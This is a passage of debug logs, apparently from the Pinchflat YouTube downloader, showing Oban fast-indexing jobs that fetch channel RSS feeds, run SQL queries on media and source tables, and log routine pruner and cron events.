m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 03:15:08.200 [debug] QUERY OK source="tasks" db=0.0ms idle=642.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [529, 3, ~U[2026-07-24 03:15:08Z], ~U[2026-07-24 03:15:08Z]] 03:15:08.201 [info] {"args":{"id":3},"id":526,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":643629,"event":"job:stop","queue_time":543815,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:15:25.413 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:55.415 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.928 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:16:25.416 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:55.417 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.928 [info] {"source":"oban","duration":76,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:17:25.418 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:55.419 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.930 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:18:25.420 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:55.421 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.930 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:19:25.422 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:55.424 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.931 [info] {"source":"oban","duration":99,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:20:25.426 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:52.948 [info] {"args":{"id":1},"id":527,"meta":{},"system_time":1784863252948170068,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:20:52.948 [debug] QUERY OK source="sources" db=0.0ms idle=1879.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:20:52.948 [debug] QUERY OK source="settings" db=0.0ms idle=1879.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:52.948 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:20:52.948 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:52.948 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 03:20:53.326 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:20:53.326 [debug] QUERY OK source="media_items" db=0.2ms idle=378.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:20:53.328 [debug] QUERY OK source="media_items" db=1.9ms idle=378.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 03:20:53.329 [debug] QUERY OK source="tasks" db=0.0ms idle=380.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [530, 1, ~U[2026-07-24 03:20:53Z], ~U[2026-07-24 03:20:53Z]] 03:20:53.329 [info] {"args":{"id":1},"id":527,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":381417,"event":"job:stop","queue_time":507836,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:20:53.949 [info] {"args":{"id":2},"id":528,"meta":{},"system_time":1784863253949137304,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:20:53.949 [debug] QUERY OK source="sources" db=0.0ms idle=619.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:20:53.949 [debug] QUERY OK source="settings" db=0.0ms idle=619.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:53.949 [debug] QUERY OK source="media_profiles" db=0.0ms idle=613.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:20:53.949 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:53.949 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:20:54.135 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:20:54.136 [debug] QUERY OK source="media_items" db=0.4ms idle=186.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:20:54.136 [debug] QUERY OK source="media_items" db=0.2ms idle=187.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 03:20:54.137 [debug] QUERY OK source="tasks" db=0.0ms idle=187.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [531, 2, ~U[2026-07-24 03:20:54Z], ~U[2026-07-24 03:20:54Z]] 03:20:54.137 [info] {"args":{"id":2},"id":528,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":188386,"event":"job:stop","queue_time":643455,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:20:55.427 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.933 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:21:25.428 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:55.429 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.934 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:22:25.430 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:55.431 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.935 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:23:25.432 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:55.433 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.936 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:24:25.434 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:55.435 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.937 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:25:08.237 [info] {"args":{"id":3},"id":529,"meta":{},"system_time":1784863508237182387,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:25:08.237 [debug] QUERY OK source="sources" db=0.0ms idle=1165.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:25:08.237 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:08.237 [debug] QUERY OK source="media_profiles" db=0.0ms idle=165.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:25:08.237 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:08.237 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:25:08.520 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 03:25:08.520 [debug] QUERY OK source="media_items" db=0.2ms idle=283.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 03:25:08.524 [debug] QUERY OK source="media_items" db=3.1ms idle=283.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 03:25:08.525 [debug] QUERY OK source="tasks" db=0.1ms idle=287.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [532, 3, ~U[2026-07-24 03:25:08Z], ~U[2026-07-24 03:25:08Z]] 03:25:08.525 [info] {"args":{"id":3},"id":529,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":287878,"event":"job:stop","queue_time":36496,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:25:25.436 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:55.437 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.938 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:26:25.438 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:55.439 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.939 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:27:25.440 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:55.441 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.940 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:28:25.442 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:55.444 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.941 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:29:25.445 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:55.446 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.942 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:30:25.447 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:53.643 [info] {"args":{"id":1},"id":530,"meta":{},"system_time":1784863853643055421,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:30:53.643 [debug] QUERY OK source="sources" db=0.0ms idle=567.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:30:53.643 [debug] QUERY OK source="settings" db=0.0ms idle=567.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:53.643 [debug] QUERY OK source="media_profiles" db=0.0ms idle=567.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:30:53.643 [debug] QUERY OK source="settings" db=0.0ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:53.643 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 03:30:54.060 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:30:54.060 [debug] QUERY OK source="media_items" db=0.3ms idle=417.1ms SELECT m0."id", m0."uuid", m0."title", 